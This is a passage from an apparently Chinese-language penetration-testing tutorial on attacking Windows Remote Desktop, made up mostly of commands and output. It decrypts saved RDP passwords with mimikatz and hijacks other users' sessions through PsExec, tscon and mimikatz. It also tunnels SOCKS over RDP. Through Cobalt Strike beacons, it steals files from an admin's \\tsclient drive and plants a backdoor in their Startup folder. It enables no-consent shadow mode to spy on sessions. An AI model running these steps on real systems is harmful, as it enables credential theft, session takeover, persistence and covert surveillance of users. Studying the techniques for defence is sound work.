unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/192.168.70.130
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : DESKTOP-TEST\administrator
CredentialBlob : Admin@123
Attributes : 0
mimikatz # dpapi::cred /in:84BD531FDD20A7ED510558FA8768BA20 /masterkey:9458e389d675c03e3134abca123a5f97b0344db9ec7eb77ca65e962ed238d3d9d62ba12e9b227587df8f430762790758c7a1dcf8f0baad587c0301305e088205
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {52c3460d-2e8b-4764-957c-57185d4d62b2}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : cbc61bdb2a8cda88dafb2c090aaf64b6c8edfc5f32a134839f083fa469a95c7f
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 3c157c9d67b4e62952b3f8b72d841a35cff4d012e46c2c8f91e4e21af8a91e45
dwDataLen : 000000f0 - 240
pbData : 3e705a067361549290c628f53ae625d3961d29c2eeba9ba24270723dc3021ad8f6bb9e29c474951492d3ae470daf715825b33652607967a9394f0d10b7e35a34c57396d41e9faba5ea89fe969a7ead9e76035dfe3aff6c2b7d6332ea0b2fec5ea2eca2ad1054808dab04d17e4a818f2fbe0aed21b3e217604f2b52e04736c77349f0455c832af7120ffb1eda7dd3b5fc6214f697564e28b2c916d8ab926ffc65571e6475ca7d746e63d4b919519970233359ef2c547f2f3422b9d4199e1f4bcc3f5d034f6d47da39469331fa31adacefaba7dd7aae4b6fb3fea8a873815336cff1c62bb60b2fdbb69647c520a01550f6
dwSignLen : 00000040 - 64
pbSign : f776ff8611228511d6c93bd259caeea4bdf66908fc9a79c6c5841d85bb340f02489972d82ca9124bf6adc48ac6c4341a2012dc070a3d6c9b1c850d29298bd4a0
Decrypting Credential:
* volatile cache: GUID:{52c3460d-2e8b-4764-957c-57185d4d62b2};KeyHash:b53ebc9462b9cf6284f116b46d3a869091cc398f;Key:available
* masterkey : 9458e389d675c03e3134abca123a5f97b0344db9ec7eb77ca65e962ed238d3d9d62ba12e9b227587df8f430762790758c7a1dcf8f0baad587c0301305e088205
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000e0 - 224
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2023-11-24 7:30:06
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/192.168.70.130
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : DESKTOP-TEST\administrator
CredentialBlob : Admin@123
Attributes : 0
TargetName - 目标主机;UserName - 用户名;CredentialBlob - 解密后的明文密码。
RDP Session Hijacking
对于开启远程桌面服务的 Windows Server 系统,当有多个不同用户登录该系统时,会产生多个 RDP 会话。在劫持其它登录的用户时,会将目标用户挤下去。(非服务器版本的 Windows 系统默认只允许一个账户登录)
获取每个用户对应的会话信息:
1
2
3
4
5
6
7
8
9
10
11
12
C:\Users\Administrator\Desktop>quser
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#3 2 Active . 9/27/2023 10:21 PM
test rdp-tcp#4 3 Active 8 9/27/2023 10:28 PM
C:\Users\Administrator\Desktop>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
>rdp-tcp#3 Administrator 2 Active
rdp-tcp#4 test 3 Active
console 4 Conn
rdp-tcp 65536 Listen
cmd - tscon
可以利用 PsExec 从 administrator 到 SYSTEM 权限进行操作,创建服务使用 tscon 命令对目标进行 RDP 会话劫持:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
C:\Users\Administrator\Desktop>quser
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#9 2 Active . 9/27/2023 10:21 PM
test rdp-tcp#10 3 Active 4 9/27/2023 10:28 PM
C:\Users\Administrator\Desktop>.\PsExec64.exe -s -accepteula cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#9"
[SC] CreateService SUCCESS
C:\Windows\system32>net start sesshijack
The service is not responding to the control function.
C:\Windows\system32>
More help is available by typing NET HELPMSG 2186.
mimikatz - ts::remote
以下是使用 mimikatz 劫持 test 用户的示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
368 {0;000003e7} 0 D 17195 NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Primary
-> Impersonated !
* Process Token : {0;0005a226} 2 D 1547641 10_0_8_17\Administrator S-1-5-21-3697670079-2126774415-1611505882-500 (14g,23p) Primary
* Thread Token : {0;000003e7} 0 D 1568236 NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Impersonation (Delegation)
mimikatz # ts::sessions
Session: 0 - Services
state: Disconnected (4)
user : @
curr : 9/27/2023 10:56:14 PM
lock : no
Session: *2 - RDP-Tcp#7
state: Active (0)
user : Administrator @ 10_0_8_17
Conn : 9/27/2023 10:53:56 PM
disc : 9/27/2023 10:53:56 PM
logon: 9/27/2023 10:21:56 PM
last : 9/27/2023 10:56:14 PM
curr : 9/27/2023 10:56:14 PM
lock : no
addr4: xx.xx.xx.xx
Session: 3 - RDP-Tcp#8
state: Active (0)
user : test @ 10_0_8_17
Conn : 9/27/2023 10:56:06 PM
disc : 9/27/2023 10:56:06 PM
logon: 9/27/2023 10:28:00 PM
last : 9/27/2023 10:56:10 PM
curr : 9/27/2023 10:56:14 PM
lock : no
addr4: xx.xx.xx.xx
Session: 4 - Console
state: Connected (1)
user : @
Conn : 9/27/2023 10:47:54 PM
curr : 9/27/2023 10:56:14 PM
lock : no
Session: 65536 - RDP-Tcp
state: Listen (6)
user : @
lock : no
mimikatz # ts::remote /id:3
Asking to connect from 3 to current session
> Connected to 3
mimikatz # exit
Bye!
其它工具:
https://github.com/crazywifi/RDP_SessionHijacking
https://github.com/bohops/SharpRDPHijack
RDP and SOCKS Tunneling
使用 SocksOverRDP 利用 RDP 协议搭建 SOCKS 服务:
1
2
3
4
5
6
7
8
9
10
11
# 注册 dll(会弹出通知窗)
regsvr32.exe SocksOverRDP-Plugin.dll
# 配置 SOCKS 服务地址为 0.0.0.0
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin" /v "ip" /t REG_SZ /d 0.0.0.0 /f
# 配置 SOCKS 服务端口为 1080
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin" /v "port" /t REG_SZ /d 1080 /f
# 运行 SOCKS 服务
SocksOverRDP-Server.exe
# 取消注册 dll
regsvr32.exe /u SocksOverRDP-Plugin.dll
TSClient
tsclient 是通过远程桌面连接到远程计算机时,在远程计算机「网上邻居」中出现的一个机器名,实际为远程计算机分配给本机的名称。
在远程计算机中,可以通过 \\tsclient\盘符
访问用户(RDP 客户端)本地计算机。其访问方式类似于使用 smb 进行文件传输,虽然本质上都是 smb 协议,但是使用 tsclient 无需身份认证。
限制条件:默认情况下 mstsc 是不开启磁盘共享功能的,必须要手工开启。
开启方法,如图所示:
- 打开“远程桌面连接 (mstsc)”选择“本地资源”选项卡;
- 点击“本地设备和资源”下的“详细信息”;
- 配置想要共享到远程计算机的本地磁盘驱动器。
虽然限制条件较为苛刻,但在实际环境中,很多运维人员为了方便操作,通常会挂载本地磁盘,因此这一方法并非全然无用,需要根据实际情况判断。
当发现有用户(运维)正在使用远程桌面连接该服务器时:
1
2
3
4
5
6
7
8
9
beacon> shell qwinsta
[*] Tasked beacon to run: qwinsta
[+] host called home, sent: 38 bytes
[+] received output:
会话名 用户名 ID 状态 类型 设备
>services 0 断开
console 1 已连接
rdp-tcp#0 John 2 运行中
rdp-tcp 65536 侦听
可以尝试偷取该用户的身份令牌,以该用户的身份执行 net use
命令,如果查看到如下网络连接,则表示该用户在连接远程服务器时开启了 tsclient 磁盘挂载:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes
[+] received output:
win-web\john
beacon> shell net use
[*] Tasked beacon to run: net use
[+] host called home, sent: 38 bytes
[+] received output:
会记录新的网络连接。
状态 本地 远程 网络
-------------------------------------------------------------------------------
\\TSCLIENT\C Microsoft Terminal Services
命令成功完成。
注:只有远程登录的用户可以访问 tsclient,其他用户无法访问,包括使用 runas 也无法访问。
此时,可以通过 tsclient 读取该用户(RDP 客户端)本地磁盘中的文件:
1
2
3
4
5
6
7
beacon> shell type \\TSCLIENT\C\credential.txt
[*] Tasked beacon to run: type \\TSCLIENT\C\credential.txt
[+] host called home, sent: 63 bytes
[+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
Do you know how to hijack Image?
还可以向磁盘(用户开机启动项)中写入恶意文件,当机器重启时就会执行恶意文件:
1
2
3
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
可用工具:https://github.com/mdsecactivebreach/RDPInception/
预防(风险控制)的方法:虽然 mstsc 在配置挂载磁盘时无法直接选择文件夹,但可以利用 subst 命令将指定的文件夹挂载成磁盘驱动器,实现将远程主机的读写范围限缩在指定文件夹。
1
2
3
4
5
6
7
8
9
PS C:\Windows\System32> # 创建虚拟驱动器
PS C:\Windows\System32> subst T: C:\Temp\RdpTransfer
PS C:\Windows\System32> wmic logicaldisk get deviceid,volumename
DeviceID VolumeName
C: Windows-SSD
T: Windows-SSD
PS C:\Windows\System32> # 删除替换的(虚拟)驱动器
PS C:\Windows\System32> subst /d T:
Shadow Mode
该模式类似于 “向日葵”、“Teamviewer”、“ToDesk” 这类远程控制软件的效果。(不会将正在进行远程桌面连接的用户挤下线)
需要修改目标机器 GPO(Group Policy Objects,组策略对象)配置 RD Shadow 连接选项:
1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
注:当 Shadow 值为 2 时,表示未经用户许可完全控制;为 4 时,表示未经用户许可查看会话。此处的 “未经用户许可” 是指不会在远程主机上弹框并等待用户点击确认,不是指在连接远程主机时不需要提供用户凭据。
使用影子模式连接远程主机,并使用 /noConsentPrompt
参数,远程主机上不会弹出提示框:
1
mstsc.exe /shadow:1 /v:192.168.70.128 /prompt /control /noConsentPrompt
不添加 /control
参数,只查看别人在远程主机上的操作,而不能对其进行操作;
不添加 /prompt
参数,表示使用当前的用户凭据去连接远程主机。
References
- 死磕 RDP 协议,从截图和爆破说起
https://nosec.org/home/detail/5084.html - Passing the Hash with Remote Desktop
https://www.kali.org/blog/passing-hash-remote-desktop/ - 渗透技巧——Pass the Hash with Remote Desktop Protocol
https://3gstudent.github.io/backup-3gstudent.github.io/渗透技巧-Pass-the-Hash-with-Remote-Desktop-Protocol/ - Remote Desktop Services: Enable Restricted Admin mode
https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx - Viewing a Remote User’s Desktop Session with Shadow Mode in Windows
https://woshub.com/rdp-session-shadow-to-windows-10-user/ - Passwordless RDP Session Hijacking Feature All Windows versions
https://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - Remote Desktop using C#.NET
https://www.codeproject.com/Articles/43705/Remote-Desktop-using-C-NET - Dumping RDP Credentials
https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/